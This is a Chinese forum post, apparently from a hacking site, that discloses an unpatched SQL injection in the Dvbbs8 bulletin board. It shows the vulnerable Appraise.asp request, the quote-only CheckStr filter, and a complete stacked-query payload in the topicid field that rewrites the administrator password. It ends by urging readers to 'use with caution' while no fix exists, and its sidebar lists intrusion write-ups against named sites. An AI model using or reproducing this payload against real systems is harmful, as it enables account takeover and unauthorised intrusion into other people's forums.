|
[推荐]Dvbbs8严重漏洞
| 以下是引用片段： POST /dvbbs8/Appraise.asp?action=save HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.1.91/dvbbs8/dispbbs.asp?boardID=1&ID=2&page=1 Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322) Host: 192.168.1.91 Content-Length: 91 Connection: Keep-Alive Cache-Control: no-cache Cookie: DvForum=UserID=3&usercookies=0&StatUserID=197615644&userclass=%D0%C2%CA%D6%C9%CF%C2%B7&username=allyesno&password=v0qdt2f765U6x7J5&userhidden=2; w0802=3; rtime=0; ltime=1186473801000; w08_eid=88452409-http%3A//192.168.1.91/dvbbs8/index.asp%3Fboardid%3D1; geturl=%2Fdvbbs8%2Fpost%5Fupload%2Easp%3Fboardid%3D1; ASPSESSIONIDACCRCQQQ=FDKDFDBAOGGEGNICMPBANLKL; Dvbbs=cacgffcf; upNum=0 boardid=1&topicid=2&announceid=2&atype=0&a1=0&a2=0&atitle=11111&acodestr=0425&acontent=test |
|
以下是引用片段： |
| 以下是引用片段： TopicID = Dvbbs.CheckStr(Request.Form("topicid")) Public Function Checkstr(Str) If Isnull(Str) Then CheckStr = "" Exit Function End If Str = Replace(Str,Chr(0),"") CheckStr = Replace(Str,"'","''") End Function |
很明显过滤了单引号。。。。我们这样来饶过
还是修改一下密码吧，现在ADMIN的密码是admin888，我们来把他修改成123456[/code]declare @a sysname
select @a=0x3400390062006100350039006100620062006500350036006500300035003700
update [dv_user] set userpassword=@a where userid=1[/code]这样可以修改成功！！！我们把他改回来
| 以下是引用片段： %3Bdeclare+@a+sysname+select+@a%3D0x3400390062006100350039006100620062006500350036006500300035003700+update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1 OK，这句语句也可以执行156 POST /dvbbs8/Appraise.asp?action=save HTTP/1.1 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, */* Referer: http://192.168.1.91/dvbbs8/dispbbs.asp?boardID=1&ID=3&page=1 Accept-Language: zh-cn Content-Type: application/x-www-form-urlencoded Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322) Host: 192.168.1.91 Content-Length: 242 Connection: Keep-Alive Cache-Control: no-cache Cookie: DvForum=UserID=3&usercookies=0&StatUserID=197615644&userclass=%C2%DB%CC%B3%D3%CE%C3%F1&username=allyesno&password=Y1tGx4j886XtB846&userhidden=2; List=list1=1; w0802=5; rtime=0; ltime=1186474916718; w08_eid=88452409-http%3A//192.168.1.91/dvbbs8/index.asp%3Fboardid%3D1; geturl=%2Fdvbbs8%2Fpost%5Fupload%2Easp%3Fboardid%3D1; ASPSESSIONIDACCRCQQQ=FDKDFDBAOGGEGNICMPBANLKL; Dvbbs=cacgffcf; upNum=0 boardid=1&topicid=3%3Bdeclare+@a+sysname+select+@a%3D0x3400390062006100350039006100620062006500350036006500300035003700+update+dv%5Fuser+set+userpassword%3D@a+where+userid%3D1&announceid=3&atype=0&a1=0&a2=0&atitle=22&acodestr=3297&acontent=33 |
看见没，已经修改成了123456
由于漏洞比较严重，请大家谨慎使用，官方还未打补丁！！！！！！
| 实例讲解跨站入侵攻防战之攻击篇 | 05-08 |
| 对偶偶娱乐分站服务器的安全检测 | 04-23 |
| 入侵88red系统的详细过程 | 04-07 |
| 对趋势科技等数万网站被攻击的分 | 03-21 |
| 凡人网络购物系统 V8.0 简体中文 | 03-18 |
| linux平台下渗透日本著名XXXXXX. | 03-18 |
| 搜索框所引起的XSS漏洞 | 03-05 |
| 跳转漏洞的利用 | 03-05 |
| 对复旦大学的一次漫长渗透 | 03-03 |
| .net一句话马以及dx论坛拿shell | 03-01 |
| php渗透入侵过程图文详解 | 03-01 |
| DJ网站的入侵详细过程 | 02-26 |
您现在的位置：